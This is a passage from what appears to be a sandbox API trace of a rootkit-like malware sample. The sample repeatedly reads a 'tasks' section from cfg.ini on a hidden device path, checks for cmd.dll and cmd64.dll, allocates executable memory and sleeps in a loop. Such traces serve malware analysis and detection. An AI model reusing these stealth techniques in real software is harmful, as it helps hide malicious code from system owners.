SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.609] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.609] IdePortDispatch () returned 0x103 [0117.609] KeWaitForMutexObject () returned 0x0 [0117.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.609] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.609] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.609] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.609] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.609] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d97c0 [0117.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.609] KeLeaveCriticalRegion () [0117.609] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.609] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.609] KeEnterCriticalRegion () [0117.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.609] KeLeaveCriticalRegion () [0117.609] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.609] KeEnterCriticalRegion () [0117.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.610] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.610] IdePortDispatch () returned 0x103 [0117.610] KeWaitForMutexObject () returned 0x0 [0117.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.610] KeLeaveCriticalRegion () [0117.610] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.610] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.610] KeEnterCriticalRegion () [0117.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.610] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdb000 [0117.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.610] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.610] IdePortDispatch () returned 0x103 [0117.610] KeWaitForMutexObject () returned 0x0 [0117.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.610] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.610] IdePortDispatch () returned 0x103 [0117.610] KeWaitForMutexObject () returned 0x0 [0117.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.611] KeLeaveCriticalRegion () [0117.611] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.611] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.611] KeEnterCriticalRegion () [0117.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.611] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.611] KeLeaveCriticalRegion () [0117.611] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.611] KeEnterCriticalRegion () [0117.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.611] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.611] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.611] KeLeaveCriticalRegion () [0117.611] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.611] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.611] KeEnterCriticalRegion () [0117.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.611] ExFreePoolWithTag (P=0xfffffa80039d97c0, Tag=0x0) [0117.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.611] KeLeaveCriticalRegion () [0117.611] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.611] ReleaseMutex (hMutex=0xf0) returned 1 [0117.612] Sleep (dwMilliseconds=0x927c0) [0117.627] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.627] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.627] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.627] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.627] KeEnterCriticalRegion () [0117.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.627] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.627] IdePortDispatch () returned 0x103 [0117.627] KeWaitForMutexObject () returned 0x0 [0117.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.627] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.627] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.627] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.627] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.627] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da580 [0117.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.627] KeLeaveCriticalRegion () [0117.627] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.627] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.627] KeEnterCriticalRegion () [0117.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.627] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.627] KeLeaveCriticalRegion () [0117.627] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.628] KeEnterCriticalRegion () [0117.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.628] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.628] IdePortDispatch () returned 0x103 [0117.628] KeWaitForMutexObject () returned 0x0 [0117.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.628] KeLeaveCriticalRegion () [0117.628] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.628] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.628] KeEnterCriticalRegion () [0117.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce0000 [0117.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.628] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.628] IdePortDispatch () returned 0x103 [0117.628] KeWaitForMutexObject () returned 0x0 [0117.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.628] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.628] IdePortDispatch () returned 0x103 [0117.629] KeWaitForMutexObject () returned 0x0 [0117.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.629] KeLeaveCriticalRegion () [0117.629] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.629] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.629] KeEnterCriticalRegion () [0117.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.629] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.629] KeLeaveCriticalRegion () [0117.629] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.629] KeEnterCriticalRegion () [0117.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.629] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.629] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da640, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.629] KeLeaveCriticalRegion () [0117.629] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.630] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.630] KeEnterCriticalRegion () [0117.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.630] ExFreePoolWithTag (P=0xfffffa80039da580, Tag=0x0) [0117.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.630] KeLeaveCriticalRegion () [0117.630] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.630] ReleaseMutex (hMutex=0xf0) returned 1 [0117.630] Sleep (dwMilliseconds=0x927c0) [0117.643] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.643] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.643] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.643] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.643] KeEnterCriticalRegion () [0117.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.644] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.644] IdePortDispatch () returned 0x103 [0117.644] KeWaitForMutexObject () returned 0x0 [0117.644] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.644] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.644] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.644] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.644] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.644] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039dab90 [0117.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.644] KeLeaveCriticalRegion () [0117.644] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.644] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.644] KeEnterCriticalRegion () [0117.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.644] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.644] KeLeaveCriticalRegion () [0117.644] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.644] KeEnterCriticalRegion () [0117.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.644] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0117.644] IdePortDispatch () returned 0x103 [0117.644] KeWaitForMutexObject () returned 0x0 [0117.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.645] KeLeaveCriticalRegion () [0117.645] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.645] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.645] KeEnterCriticalRegion () [0117.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce5000 [0117.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.645] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.645] IdePortDispatch () returned 0x103 [0117.645] KeWaitForMutexObject () returned 0x0 [0117.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.645] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0117.645] IdePortDispatch () returned 0x103 [0117.646] KeWaitForMutexObject () returned 0x0 [0117.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.646] KeLeaveCriticalRegion () [0117.646] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.646] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.646] KeEnterCriticalRegion () [0117.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.647] KeLeaveCriticalRegion () [0117.647] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.647] KeEnterCriticalRegion () [0117.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.647] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.647] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.647] KeLeaveCriticalRegion () [0117.647] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.647] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.647] KeEnterCriticalRegion () [0117.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.647] ExFreePoolWithTag (P=0xfffffa80039dab90, Tag=0x0) [0117.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.647] KeLeaveCriticalRegion () [0117.647] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.647] ReleaseMutex (hMutex=0xf0) returned 1 [0117.647] Sleep (dwMilliseconds=0x927c0) [0117.671] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0117.671] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.671] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0117.671] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.671] KeEnterCriticalRegion () [0117.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.671] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.671] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0117.672] IdePortDispatch () returned 0x103 [0117.672] KeWaitForMutexObject () returned 0x0 [0117.672] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.672] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.672] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.672] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.672] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.672] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daf10 [0117.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.672] KeLeaveCriticalRegion () [0117.672] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.672] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.672] KeEnterCriticalRegion () [0117.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.672] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.672] KeLeaveCriticalRegion () [0117.672] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.672] KeEnterCriticalRegion () [0117.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 